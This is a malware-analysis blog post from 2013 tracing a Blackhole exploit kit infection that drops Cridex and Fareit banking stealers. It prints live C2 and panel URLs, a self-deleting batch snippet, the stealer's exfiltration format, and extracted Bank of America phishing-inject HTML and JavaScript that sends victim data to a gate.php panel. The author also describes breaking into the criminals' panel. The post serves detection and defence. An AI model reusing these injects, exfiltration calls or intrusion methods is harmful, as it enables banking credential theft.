The background
It's been while since we didn't take a look into the Cridex infection. Counting the day of we first noticed this group, until the day I write this post, it should have been almost five months yet the bad actors still do their business as usual.
The infection source is spam redirected into some redirector pages to be forwarded to the landing page of the most popular exploit kit, Blackhole, at the eziponoma.ru:8080.
I've been told by my friends to start decode to other EK too to these moronz actually is not in my first priority actually, but accidentally I know an educational institution which was injected with the redirector of this case (as per I pasted in the below tweet, thank's to @Hulk_Crusader), made me morally can't just ignore this one.
The Blackhole v2.1 Infector
After checking the landing page used, PoC↓
--2013-01-26 18:21:50-- "h00p://eziponoma.ru:8080/forum/links/column.php" Resolving "eziponoma.ru"... seconds 0.00, "202.72.245.146, 94.23.3.196, 195.210.47.208" Caching eziponoma.ru => 202.72.245.146 94.23.3.196 195.210.47.208 Connecting to eziponoma.ru|202.72.245.146|:8080... seconds 0.00, connected. : GET /forum/links/column.php HTTP/1.0 Referer: h00p://www.tounichi-g.co.jp/info.htm Host: eziponoma.ru:8080 : HTTP request sent, awaiting response... : HTTP/1.1 200 OK Server: nginx/1.0.10 Date: Sat, 26 Jan 2013 09:34:32 GMT Content-Type: text/html; charset=CP-1251 Connection: close X-Powered-By: PHP/5.3.18-1~dotdeb.0 Vary: Accept-Encoding 200 OK Length: unspecified [text/html] Saving to: "column.php" 2013-01-26 18:21:55 (42.3 KB/s) - "column.php" saved [117752]It looks like this structure:
If you decode this right you'll get Blackhole2's PluginDetect 0.7.9 Script-->>[HERE] You can use the decoding guide I wrote here -->>[HERE] to manually - crack the download url of every exploit files & payload in there. Shortly, here's the result of the payload/exploit components -->>[HERE]Here's the picture as PoC:
The Cridex Infection Steps..
If you follow us in our previous blog posts -->>[HERE] about Cridex & its PWS Stealer, then you'll know that we follow this stealer in a kind of man-to-man marking, today we saw the changes in the payload as following details:
The payload looks like this:#MalwareMustDie!Sections: UPX0 0x1000 0x1d000 0 UPX1 0x1e000 0x18000 95232 .rsrc 0x36000 0x1000 2048 Entry Point at 0x16bb0 Virtual Address is 0x4347b0 Packer: UPX 3.02 Compilation timedatestamp : 2011-05-17 17:20:06 Target machine: 0x14C (Intel 386 Hexed: (Thx to Joxean Koret) 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.............. 0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 F0 00 00 00 ................ 0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS 0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$....... 0080 97 FA C9 B9 D3 9B A7 EA D3 9B A7 EA D3 9B A7 EA ................ 0090 B1 84 B4 EA D6 9B B9 EA D6 97 F8 EA 9F 9B 21 EA ..............!. 00A0 80 B8 BE EA EE 9B 26 EA BC 84 AD EA D2 9B FD EA ......&......... 00B0 B1 84 B4 EA D7 9B 00 EA BC 84 A3 EA DF 9B 76 EA ..............v. : : : //"ExifTool: (Thank's for Phil Harvey) SubsystemVersion : 4 0 InitializedDataSize : 4096 ImageVersion : 7 3 ProductName : Midas FileVersionNumber : 10.5.0.0 UninitializedDataSize : 118784 LanguageCode : English (U S ) FileFlagsMask : 0x003f CharacterSet : Unicode LinkerVersion : 7 0 FileOS : Windows NT 32-bit MIMEType : application/octet-stream Subsystem : Windows GUI FileVersion : 10, 5, 4 TimeStamp : 2011:05:17 18:20:06+01:00 FileType : Win32 EXE PEType : PE32 InternalName : Hugo ProductVersion : 10, 5 FileDescription : Laos Prow Gyro OSVersion : 5 3 OriginalFilename : Pcahitt exe LegalCopyright : Yield (2000) 2008 Caesar MachineType : Intel 386 or later, and compatibles CompanyName : Ysy CodeSize : 98304 FileSubtype : 0 ProductVersionNumber : 10.5.0.0 EntryPoint : 0x347b0 ObjectFileType : Executable application // Result in VirusTotal (Thx!) [0x00000000:0x00400000]> !date Sat Jan 26 18:59:52 JST 2013 [0x00000000:0x00400000]> vt File about.exe with MD5 9fb4dd1b3e0b6002eff7e6f63a6b6d07 -------------------------------------------------------- F-Secure : Trojan.Agent.AYCY DrWeb : Trojan.Necurs.97 GData : Trojan.Agent.AYCY VIPRE : Trojan.Win32.Generic!BT AntiVir : TR/Cridex.EB.43 TrendMicro : PAK_Generic.001 McAfee-GW-Edition : Heuristic.BehavesLike.Win32.ModifiedUPX.C TrendMicro-HouseCall : PAK_Generic.001 MicroWorld-eScan : Trojan.Agent.AYCY Avast : Win32:Rootkit-gen [Rtk] Kaspersky : UDS:DangerousObject.Multi.Generic BitDefender : Trojan.Agent.AYCY McAfee : Artemis!9FB4DD1B3E0B Malwarebytes : Trojan.Agent.ED Ikarus : Worm.Win32.Cridex Fortinet : W32/Kryptik.ASU!tr TheHacker : Posible_Worm32 Microsoft : Worm:Win32/Cridex.E ViRobot : Trojan.Win32.S.Agent.98304.BA ESET-NOD32 : a variant of Win32/Kryptik.ASYZ // Readable Strings: (use od w/ascii-utf option to see this) 0x017730 XPTPSW 0x017E60 KERNEL32.DLL 0x017E6D comdlg32.dll 0x017E7A oleacc.dll 0x017E85 rasapi32.dll 0x017E92 setupapi.dll 0x017E9F shlwapi.dll 0x017EAB user32.dll 0x017EB6 winspool.drv 0x017EC3 winsta.dll 0x017ED0 LoadLibraryA 0x017EDE GetProcAddress 0x017EEE VirtualProtect 0x017EFE VirtualAlloc 0x017F0C VirtualFree 0x017F1A ExitProcess 0x017F28 FindTextA 0x017F34 GetStateTextW 0x017F44 RasQuerySharedAutoDial 0x017F5C CM_Get_Class_Key_NameW 0x017F74 HashData 0x017F7E IsMenu 0x017F86 AddPrinterDriverA 0x017F9A WinStationEnumerate_IndexedAWhat this binary do? Is the below steps:about.exe (executed via shellcode API of Exploit file →kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)) | +-CMD.EXE (via shell calls) | +--%Temp%exp%n.tmp.exe (a self copy of about.exe, executed via CMD) | +---%AppData%KB00777165.exe (downloaded trojan PWS, executed by exp%n.tmp.exe)Some screenshots as PoC is here:This time I provide you with the comprehension analysis of this trojan, by using my capture data so let's analyze it together. I was testing in some rounds so I have too many data to share. I'll start with the trapped malware process' accessed file data, I will pick some PID of the cascaded process above to understand it step by step.
File Calls
about.exe (I picked PID: 2116) These are the list of all activity of about.exe -->>[HERE] This process details explained the overall CMD & creation of KB00777165.exe What cmd.exe process actually do? (I picked PID: 2152) You'll see what cmd.exe process was actually do, with its correlation to the temporary file exp2.tmp.bat -->>[HERE] PS: all of these are happening in the very short time if you see the timestamp closely. How about the temporary file exp%n.tmp? (I picked PID: 4028) You can see it here -->>[HERE] It was looping and searching for a font like crazy so I cut the log for uploading purpose. It is operated as per expected. So, finally KB00777165.exe (I picked up sample with PID: 1896) The log for this was too big and many repetition, so I summarized here --->>[HERE]Memory Analysis
In this memory analysis I will use the about.exe and KB00777165.exe only, since the other payloads are not so significant, or its process included in the about.exe and KB00777165.exe already. about.exe I found the below search path/file strings:.exe .srv Mozilla\Firefox\Profiles cookies.* Macromedia chrome.exe firefox.exe explorer.exe Local\XMR%08X Local\XME%08X Local\XMM%08X Local\XMI%08X Software\Microsoft\Windows NT\S%08X Software\Microsoft\Windows NT\C%08X :So we know that about.exe is responsible for autorun by:NSoftware\Microsoft\Windows\CurrentVersion\RunAnd also responsible for making calls to mothership:h00p://140.123.101.4:8080 h00p://182.237.17.180:8080 h00p://220.86.69.55:8080 h00p://221.143.48.6:8080 h00p://64.85.53.168:8080 h00p://163.23.107.65:8080 h00p://210.56.23.100:8080 h00p://173.245.3.182:8080 h00p://173.201.177.77:8080 h00p://203.217.147.52:8080 h00p://97.74.113.229:8080 h00p://62.28.244.251:8080 h00p://69.64.89.82:8080 h00p://38.99.150.69:8080 h00p://174.142.68.239:8080 h00p://78.28.120.32:8080 h00p://88.119.156.20:8080 h00p://188.117.44.241:8080 h00p://217.65.100.41:8080↑BLOCK THESE!!! You can unpack the binary to see the similar result, as per unpacked one I see here:This binary also the brain of the drops of KB00777165.exe:
sKB%08d.exe KB00777165.exe C:\Documents and Settings\rik\Application Data // directory made strings.. C:\Documents and Settings\rik\Application Data\KB00777165.exe // the drops..And also its execution traces command too:exec cmd "%s" /c "%s"The batch file command used to delete the temporary binary file:@echo off del /F /Q /A "%S" if exist "%S" goto R del /F /Q /A "%S"We know how it connect/to mothership:%u.%u.%u.%u:%u POST Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) application/x-www-form-urlencoded type UNKNOWN USER PASSSome botnet command usedsettings commands hash httpshots formgrabber redirects bconnect httpinjects : setsockopt ioctlsocket socket closesocket select recv send connect freeaddrinfo getaddrinfoThis is the all details of the method used to send data to remote host:GET POST HTTP/1.0 HTTP/1.1 multipart/form-data boundary= Content-Disposition name=" filename=" Content-Type text/ Host Referer User-Agent Authorization Accept-Encoding Content-Length If-Modified-Since If-None-Match https Transfer-Encoding Connection modify pattern replacement httpinject conditions actions redirect process HTTP/1.1 200 OK Connection: close Content-Type: text/html ＜style＞.d{font-weight:bold;margin:5px}.f{margin:5px}＜/style＞ ＜div class="d"＞＜a href="/%S"＞[%S]＜/a＞＜/div＞ ＜div class="f"＞＜a href="/%S"＞%S＜/a＞＜/div＞ Content-Disposition: attachment; filename=%S↑it looks like this time the file attachment API exists.. And this is the scary parts of the format of credentials:＜http time="%%%uu"＞ ＜url＞ ＜![CDATA["%%.%us"]]＞ ＜/url＞ ＜useragent＞ ＜![CDATA["%%.%us"]]＞ ＜/useragent＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/http＞ ＜httpshot time="%%%uu"＞ ＜url＞ ＜![CDATA["%%.%us"]]＞ ＜/url＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/httpshot＞ ＜ftp time="%%%uu"＞ ＜server＞ ＜![CDATA["%%u.%%u.%%u.%%u:%%u"]]＞ ＜/server＞ ＜user＞ ＜![CDATA[%%.%us]]＞ ＜/user＞ ＜pass＞ ＜![CDATA[ ]]＞ ＜/pass＞ ＜/ftp＞ ＜pop3 time="%%%uu"＞ ＜server＞ ＜![CDATA["%%u.%%u.%%u.%%u:%%u"]]＞ ＜/server＞ ＜user＞ ＜![CDATA[%%.%us]]＞ ＜/user＞ ＜pass＞ ＜![CDATA[ ]]＞ ＜/pass＞ ＜/pop3＞ ＜cmd id="%u"＞%u＜/cmd＞ ＜cert time="%u"＞ ＜pass＞ ＜![CDATA[ ]]＞ ＜/pass＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/cert＞ ＜ie time="%u"＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/ie＞ ＜ff time="%u"＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/ff＞ ＜mm time="%u"＞ ＜data＞ ＜![CDATA[ ]]＞ ＜/data＞ ＜/mm＞ ＜message set_hash="%%.%us" req_set="%%%%u" req_upd="%%%%u"＞ ＜header＞ ＜unique＞%%.%us＜/unique＞ ＜version＞%%u＜/version＞ ＜system＞%%u＜/system＞ ＜network＞%%u＜/network＞ ＜/header＞ ＜data＞MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDa1gmnqfz0x8rbd5d78HJCgdSgkQy7k8IISlrVm8zezmXmqtbnNt7Mtk0BZxCq0xnjc+WGc1Zd8XHAkC5smrgFLgZYMhClUOEAfDLQhsnrWyjT5spwnkEgIVOv6oifW7rPPOCGbCYi1vnDiHJdy5AQqLfl4ynb5Pk259NwsjX0wQIDAQAB＜/data＞ ＜/message＞PS: these moronz has the ACL too:url allow denyWe know now that the binary was encypted some of the famous used malware dlls like ws2_32.dll with the complete list below:"cabinet.dll ssl3.dll nspr4.dll wininet.dll ws2_32.dll secur32.dll" kernel32.dll ntdll.dll SHLWAPI.dll ADVAPI32.dll SHELL32.dll*)↑The marked DLL was obfuscated in encryption can't be seen soon wihout decrypting the binary section will be impossible to be seen. Which contains the calls below:FCIDestroy FCIFlushFolder FCIFlushCabinet FCIAddFile FCICreate SSL_ImportFD PR_Close PR_Poll PR_Read PR_Write PR_SetError PR_Connect PR_GetError InternetWriteFile InternetSetOptionW InternetReadFile InternetQueryOptionW InternetOpenW InternetCrackUrlW InternetConnectW InternetCloseHandle HttpSendRequestExW HttpQueryInfoA HttpOpenRequestW HttpEndRequestW CryptImportPublicKeyInfo CryptDecodeObjectEx CryptStringToBinaryA CertDeleteCertificateFromStore CertDuplicateCertificateContext CertEnumCertificatesInStore CertCloseStore PFXExportCertStoreEx CertOpenSystemStoreW PFXImportCertStore __WSAFDIsSet WSAIoctl WSARecv WSASend WSAGetLastError WSASetLastError DeleteSecurityContext DecryptMessage EncryptMessage InitializeSecurityContextW InitializeSecurityContextA IsWow64Process RtlRandom RtlTimeToSecondsSince1970 NtResumeThread NtQueueApcThread NtQueryInformationThread NtQuerySystemInformation RtlZeroMemory RtlFillMemory RtlCompareMemory LdrLoadDll *) The other calls is as per seen in plain text in binaryI also found that my PC name was included in the data:USER-1379CF37C25_9455E50D0B2D20CBAnd this parts are encrypted data:;C＜R＜k＜ ＜ ＜$＜(＜,＜0＜4＜8＜＜＜@＜D＜H＜L＜P＜T＜X＜\＜`＜ 3&353L3U3m3{3 6G6U6c6 7-8F8P8n8{8 :/:::E:K:c:j:t: ?5?H?c?h?q?z? 0&0F0P0f0p0 2X2]2f2o2u2 ＜0=:=R=\=c=j= 878=8D8U8^8g8p8x8 :':D:N:h: ＜'＜T＜e＜o＜ =!=(=:=@=V=b=z= 11181A1G1N1[1d1m1{1 2&232>2F2U2a2h2q2w2~2 303＜3N3_3i3r3 3Q4X4^4e4t4z4 7-7^7d7o7y7 8&8,868]8d8k8q8 9!9/9=9C9N9X9c9i9s9y9 =+=0=8=F=L=Q=W=[=a= ?!?'?I?V?i? 0＜0O0U0q0w0 1[1i1s1x1 2*2I2f2t2 5&5,585>5E5K5U5[5f5p5{5 5B6G6M6W6e6k6u6~6 7+73787J7O7`7k7r7 848G8S8b8l8t8{8 ＜?=J=Q=j=~= 3&3＜3L3n3?4l4v4 797C7N7X7o7 :!:(:.:A:l:u: ＜0＜;＜B＜N＜S＜Y＜q＜w＜ ?*?2?B?K?P?\?n? 141?1I1f1l1r1 2'2-2B2H2Y2b2i2u2 5,525R5e5o5|5 6!7(7H7N7V7\7f7k7q7w7|7 9$9*9A9G9N9\9c9h9 ;&;2;8;>;J;V;d;i; ＜3＜U＜b＜i＜r＜ ?1?E?O?f?o? 1M1U1e1m1|1 2"2.2B2U2_2v2 3 3*3A3J3o3x3 4%4J4S4g4 7 7*787＜7@7D7H7L7P7T7n7t7 8>8R8`8i8n8x8 :':-:;:A:K:Q:\:f:q:|: 1C2g2p2 4+444=4K4R4l4 >%>+>G>M>W>s> ;$;/;9;D;L;V;a;i;}; ＜"＜(＜-＜C＜K＜Q＜V＜l＜t＜z＜ (0,0004080＜0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0 1 1$1(1,1014181＜1@1D1P1T1X1\1`1d1h1l1p1t1x1|1 2 2$2(2,2024282＜2@2D2P2T2`2d2h2l2p2t2x2|2 3 3$3(3,3034383＜3@3D3H3L3P3T3X3\3`3 3P4T4X4 7p8t8x8 9 9h9l9p9 :I'll try to decode it later.. In KB00777165.exe.exe I found.. Trace of compilation of the malware maker :-DE:\FutureCode\Reverted\Samples\Id0120112309\Signal[93].exeAnd decrypted keywords like, looks like the panel password to me ;-)Ninedourb letrayohs dagpishalb HoweGaffgutley oiEmusJudoSabe muetaecutryes nitearMiltaa dinPisoagonob paDrumnacarIzar logoxkaunarinod houhmocSashinlo aamyokaGoutoenu warSkewsibsMuni shoutagbesnahpi Alsoutscwmti LorewasifOils Nansratoworngor OuchDiel JestGorpamemeas odagssicHullgo aeisledoemopcoo hidawmap leubaachidor DeltweRearrob Oatszaodand... we have an encrypted calls like:sh&awpki reasMayapee&s senrevet&enick z&oybio fidabUnt&un karigL&rdbe Mumu&inemlat jet&tssec Jaggoyg&y NewsCu&fcatsan Ko&kJustpea wehmup&na neShogJut&mud mao&Jogsmil Beanr&cjog Leapmaeesr&x mugcome&pp Whapm&vetae alla&Farocur amox&agemsrag bize&pet aidtenSh&hla dyeaa&ep Coysmiemmit&b &ffefreuhbome :Same encryption used since the other hashed data are so similar.The registry.
I mentioned the autorun to be put in registry in the above section, thus this big blobs in the registry below:HKU\S-1-5-21-1214440339-926492609-1644491937-1003\Software\ Microsoft\Windows NT\SD5809E24\: 3C 73 65 74 74 69 6E 67 73 20 68 61 73 68 3D 22 30 63 35 32 30 62 36 61 35 36 66 38 61 37 33 63 38 65 66 31 61 65 39 30 37 65 64 65 63 34 34 64 36 64 38 63 61 36 64 34 22 3E 3C 68 74 74 70 73 68 6F 74 73 3E 3C 75 72 6C 20 74 79 70 65 3D 22 64 65 6E 79 22 3E 5C 2E 28 63 73 73 7C 6A 73 29 28 24 7C : (very loong blob...) : 20 20 20 72 65 74 75 72 6E 20 74 72 75 65 3B 0A 7D 0A 0A 0A 3C 2F 73 63 72 69 70 74 3E 0A 5D 5D 3E 3C 2F 72 65 70 6C 61 63 65 6D 65 6E 74 3E 3C 2F 6D 6F 64 69 66 79 3E 3C 2F 61 63 74 69 6F 6E 73 3E 3C 2F 68 74 74 70 69 6E 6A 65 63 74 3E 3C 2F 68 74 74 70 69 6E 6A 65 63 74 73 3E 3C 2F 73 65 74 74 69 6E 67 73 3EComment: This is actually the config of the PWS Fareit trojan.. You can see it neutralized in here -->>[PASTEBIN] It contains the evil things like online banking data grabber, phishing forms, (in this case AmericanExpress etc), with the details that you can learn by my previous analysis here -->>[LINK] In that config form was written the CnC at:＜bconnect＞"85,143.166.72:443"＜/bconnect＞ ＜![CDATA["h00p://85.143.166.141/mx/3A/in/cp.php?h=8"]]＞And the portal/panel at below to send phishing data.var adminPanelLocation = 'h00p://62,76.177.123/if_Career/'; var d = adminPanelLocation + 'gate.php?done=1&bid=USER-1379CF37C25_9455E50D0B2D20CB&info='+info+'&rkey=' + Math['random']();↑BLOCK THESE!!!Phishing Trace
If you just run the config file in the browser you'll see the phishing form traces like per below snapshot:Below are details of attempt to steal your personal information (phishing): Attempt to steal the PIN:
＜!--Personal security PIN--＞ : ＜div id="div_ps_pin" style="width:143px ;padding-top:7px; height:25px;padding: 1px;padding-top:5px; text-align:left;"＞＜font style="font-weight:700;font-family: Arial;font-size: 10px;"＞ Personal security PIN:＜/font＞＜/td＞＜/div＞ ＜td＞＜div id="div_pininp" style =" padding:1px;"＞ ＜input type="text" class="amountfield" id="ps_pin" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="ps_pin" maxlength=4 ＞ ＜/div＞Attempt to steal Mother's Maiden Name:＜div id="pincode" style="width:143px ; height:25px;padding: 1px; text-align: left;padding-top:7px "＞＜font style="font-weight:700;font-family: Arial;font-size: 10px;"＞ Mother's Maiden Name:＜/font＞＜/td＞＜/div＞ ＜td＞＜div id="div_pininp" style =" padding:1px;"＞ ＜input type="text" class="amountfield" id="exp_mm" style="width:160px; height:12px; text-align:left; font-weight:700;font-family: Arial;font-size: 10px;" name="mmn" ＞＜/div＞Place of birth (POB)＜div id="pincode" style="width:143px ; height:25px;padding: 1px; text-align: left;padding-top:7px "＞＜font style="font-weight:700;font-family: Arial;font-size: 10px;"＞ Place of birth:＜/font＞＜/td＞＜/div＞ ＜td＞＜div id="div_pob" style =" padding:1px;"＞ ＜input type="text" class="amountfield" id="pob" style="width:160px; height:12px; text-align:left; font-weight:700;font-family: Arial;font-size: 10px;" name="pob" ＞Date of birth＜div id="div_dob" style="width:143px ;padding-top:7px; height:25px;padding: 1px;text-align:left;"＞＜font style="font-weight:700;font-family: Arial;font-size: 10px;"＞ Date of birth:＜/font＞＜/td＞＜/div＞ ＜td＞＜div id="div_pininp" style =" padding:1px;"＞ ＜input type="text" class="amountfield" id="dob_mm" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="dob_mm" maxlength=2 ＞ ＜font style="font-family: Verdana;font-size: 11px;"＞-＜/font＞ ＜input type="text" class="amountfield" id="dob_dd" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="dob_dd" maxlength=2 ＞ ＜font style="font-family: Verdana;font-size: 11px;"＞-＜/font＞ ＜input type="text" class="amountfield" id="dob_yy" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="dob_yy" maxlength=4 ＞Mother Date of birth＜div id="div_mdob" style="width:143px ;padding-top:7px; height:25px;padding: 1px;text-align:left;"＞＜font style="font-weight:700;font-family: Arial;font-size: 10px;"＞ Mother Date of birth:＜/font＞＜/td＞＜/div＞ ＜td＞＜div id="div_pininp" style =" padding:1px;"＞ ＜input type="text" class="amountfield" id="mdob_mm" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="mdob_mm" maxlength=2 ＞ ＜font style="font-family: Verdana;font-size: 11px;"＞-＜/font＞ ＜input type="text" class="amountfield" id="mdob_dd" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="mdob_dd" maxlength=2 ＞ ＜font style="font-family: Verdana;font-size: 11px;"＞-＜/font＞ ＜input type="text" class="amountfield" id="mdob_yy" style="width:38px; height:14px; text-align:right;width:38px; height:12px; font-weight:700;font-family: Arial;font-size: 10px;" name="mdob_yy" maxlength=4 ＞Also privacy related data phished like:＜option value="1"＞What is the name of the city where your father was born?＜/option＞ ＜option value="2"＞What is the name of the hospital in which you were born?＜/option＞ ＜option value="3"＞What was the name of your first pet?＜/option＞ ＜option value="4"＞What was the first name of your first true love?＜/option＞ ＜option value="6"＞What was the first music album that you bought?＜/option＞ ＜option value="7"＞what is the last name of your homeroom teacher in 10th grade?＜/option＞ ＜option value="8"＞In which city do you want to retire?＜/option＞ ＜option value="9"＞What is the name of the city where your mother was born?＜/option＞ ＜option value="10"＞What is of the name the city where your parents met?＜/option＞ ＜option value="11"＞What is your youngest sibling\'s middle name?＜/option＞ ＜option value="12"＞What is your oldest sibling\'s middle name?＜/option＞ ＜option value="13"＞What is your spouse\'s middle name?＜/option＞ ＜option value="14"＞What is your oldest cousin´s first name?＜/option＞ ＜option value="15"＞What is your youngest cousin´s first name?＜/option＞ ＜option value="16"＞Where does your nearest sibling live?＜/option＞ ＜option value="17"＞What is the name of the school you attended in 8th grade?＜/option＞ ＜option value="18"＞What was the last name of your 4th grade school teacher?＜/option＞ ＜option value="19"＞What was the first name of your best friend in high school?＜/option＞ ＜option value="20"＞What was your childhood nickname?＜/option＞ ＜option value="21"＞What was your first love\'s first name?＜/option＞ ＜option value="22"＞In what city did you meet your spouse?＜/option＞ ＜option value="23"＞What was the name of your childhood hero?＜/option＞ ＜option value="24"＞What is the name of the country you most want to visit?＜/option＞ ＜option value="25"＞What is your maternal grandfather\'s first name?＜/option＞ ＜option value="26"＞What is your maternal grandmother\'s first name?＜/option＞ ＜option value="27"＞What is your paternal grandfather\'s first name?＜/option＞ ＜option value="28"＞What is your paternal grandmother\'s first name?＜/option＞ ＜option value="29"＞What is the first name of your first boss?＜/option＞ ＜option value="30"＞What was the make of your first car?＜/option＞ ＜option value="31"＞What was your major in college?＜/option＞ ＜option value="32"＞What is your favorite Sports Team?＜/option＞ ＜option value="33"＞As a child, what did you want to be when you grew up?＜/option＞ ＜option value="34"＞What is your favorite candy?＜/option＞ ＜option value="35"＞In what city or town was your first job?＜/option＞ ＜option value="36"＞What type of dog do you have?＜/option＞ ＜option value="37"＞What is the name of a food that you refuse to eat?＜/option＞This time the method used to gather url to send to the portal:var d = adminPanelLocation + // see the CnC part.. 'gate.php?bid=%USER%-1379CF37C25_9455E50D0B2D20CB&location= '+encodeURIComponent(window.location)+'&rkey=' + Math['random']();The bad actors are aiming Bank of America Online this time:function secondPage() {document.title = "Bank of America | Online Banking | Additional verification"; jq('div[class="right-column no-print"]').hide(); jq('h1:contains("Enter your Passcode")'). text('Additional verification of your identity'); jq('p:contains("If your SiteKey is correct")').hide(); jq('p:contains("SiteKey lets you know")'). text('In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online. Please enter your card information below.'); : ＜label＞"Card Number"＜/label＞＜div class="TL_NPI_Pass"＞＜INPUT id=cc name=cc class=tl-private maxLength=16 size=17 type=text＞＜/div＞＜br＞ ＜label＞"Exp. Date"＜/label＞＜div class="TL_NPI_Pass"＞ ＜select name="expmm" id="expmm" style="display:inline;"＞ ＜option value=""＞mm＜/option＞ ＜option value="01"＞01＜/option＞ ＜option value="02"＞02＜/option＞ ＜option value="03"＞03＜/option＞ ＜option value="04"＞04＜/option＞ ＜option value="05"＞05＜/option＞ ＜option value="06"＞06＜/option＞ ＜option value="07"＞07＜/option＞ ＜option value="08"＞08＜/option＞ ＜option value="09"＞09＜/option＞ ＜option value="10"＞10＜/option＞ ＜option value="11"＞11＜/option＞ ＜option value="12"＞12＜/option＞ ＜/select＞/ ＜select name="expyy" id="expyy" style="display:inline;"＞ ＜option value=""＞yy＜/option＞ ＜option value="2012"＞12＜/option＞ ＜option value="2013"＞13＜/option＞ ＜option value="2014"＞14＜/option＞ ＜option value="2015"＞15＜/option＞ ＜option value="2016"＞16＜/option＞ ＜option value="2017"＞17＜/option＞ ＜option value="2018"＞18＜/option＞ ＜option value="2019"＞19＜/option＞ ＜option value="2020"＞20＜/option＞ ＜option value="2021"＞21＜/option＞ ＜option value="2022"＞22＜/option＞ ＜option value="2023"＞23＜/option＞ ＜option value="2024"＞24＜/option＞ ＜option value="2025"＞25＜/option＞ ＜/select＞ ＜label＞CVV2＜/label＞＜div class="TL_NPI_Pass"＞ ＜INPUT style="width:30px;" id=cvv name=cvv class=tl-private maxLength=4 size=4 "type=password"＞Like previously, faking the checking of creditcard w/below logic:function check_cc(cardnumber) ｛ var cardNo = cardnumber.replace(/[^0-9]/g, ""); if (cardNo.length ＜ 15 || cardNo.length ＞ 16) ｛ return false; } var checksum = 0; var j = 1; var calc; for (i = cardNo.length - 1; i ＞= 0; i--) ｛ calc = Number(cardNo.charAt(i)) * j; if (calc ＞ 9) ｛ checksum = checksum + 1; calc = calc - 10; } checksum = checksum + calc; if (j == 1) ｛ j = 2; } else ｛ j = 1; } } if (checksum % 10 != 0) ｛ return false; } return true;The credential information of below list of online banking was phished by connecting to the real online url for convincing victim..jpmorgan\.com/ direct.53.com/ express.53.com/express/logon.jsp (www\.|)cashanalyzer\.com/ business-eb\.ibanking-services\.com/ businessonline\.tdbank\.com/ businessaccess\.citibank\.citigroup.com/cbusol/signon\.do ebanking-ch[\d]\.ubs\.com/Malware Phishing Credential Server
This is their phishing server portal, they actually use for this infection case, see the url and compare it with the report:Wacked the way in to collect evidence of crime, first level panel:
You see all of the questions asked in the phishing code are recorded, together w/passwords. Second level panel:
↑You're not only got hit once but EVERYTIME you accessed the internet to the targeted online banking sites. How ? Can't say much here, see this:
You still don't believe it? PoC:
It is clearly stated the current infection status:
Total bots: 85 Total finished: 58 Total opened: 332Through the MalwareMustDie team work, we passed all of the data to the FBI for arrest warrant process. Let's give LAW the first chance.Important memo after reversing & encryption of the payloads
The binaries of about.exe and the dropped KB*.exe is packed, I will not go to details of unpacking here, but if you do it right in the about.exe and KB*.exe you'll see the similarities of crypto. PoC is as per below: about.exeKB*.exe
(↑green part is the crypto traces we talked about, yellow: passwords) The same pattern also detected in the traffic sent (HTTP/1.1 POST)
Network Analysis
I made a long session capturing the traffic data between my TestPC to the connected botnet, is a long session (1,500+)& will be very good if you would like to analyze the traffic of this Cridex/Fareit infection. The screenshot:Since all of the work of this infection already well-explained above, you can confirm it by seeing the PCAP capture I provide. You can download it at below Download section :-) In my test only these connection successfully established to sent credentials:
And the others were HTTP rejected from the remote host:
To be noted these request from Cridex showing the lookup response as per below, showing the PTR record : (for blocking & incident investigation purpose)
Conclusion - What's new then?
1. The usage of the encryption is getting deeper, they encrypted the data up to the memory level now. 2. The attempt to avoid capture also detected, the cridex was running about 3 sec & following by the KB*.exe which runs for about less than 5mins. The cmd was executed in a glimpse, and see my PCAP & file capture data to view the time/speed of this new things. All is just to prevent someone making a post like this :-) 3. More profile capture detected & more phishing sent data template seen. Thus now they have the attachment file API code in POST sessionResearch and Download
For the research and raising detection ratio purpose I share my samples/data: Below is the infected url list + VT urls and URLQuery report links: (You are safe to click the links :-))DATE/TIME FLUSHED MD5 SIZE FILENAME URLQUERY VIRUS TOTAL ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 2013/01/26 18:11 d0fe2ce87f933ff73f5ce0c0efadd462 422 info.htm http://urlquery.net/report.php?id=850246 https://www.virustotal.com/file/1da4c5bf69ae062b525c25538401b9fc6752b0780f4e9494431140350fc74ac9/analysis/1359196122/ 2013/01/26 18:21 f1b7f17e653cdedbfc78d3e9fa2bef4d 117,752 column.php http://urlquery.net/report.php?id=842744 https://www.virustotal.com/file/59ab9f3e6a2cf40f8ce5ff37d5afdc36e68bd9c59facf72b3537adeb178fd105/analysis/1359196138/ 2013/01/26 19:15 d60be18003ae07ea165d193db087957b 7,238 flash1.swf http://urlquery.net/report.php?id=850229 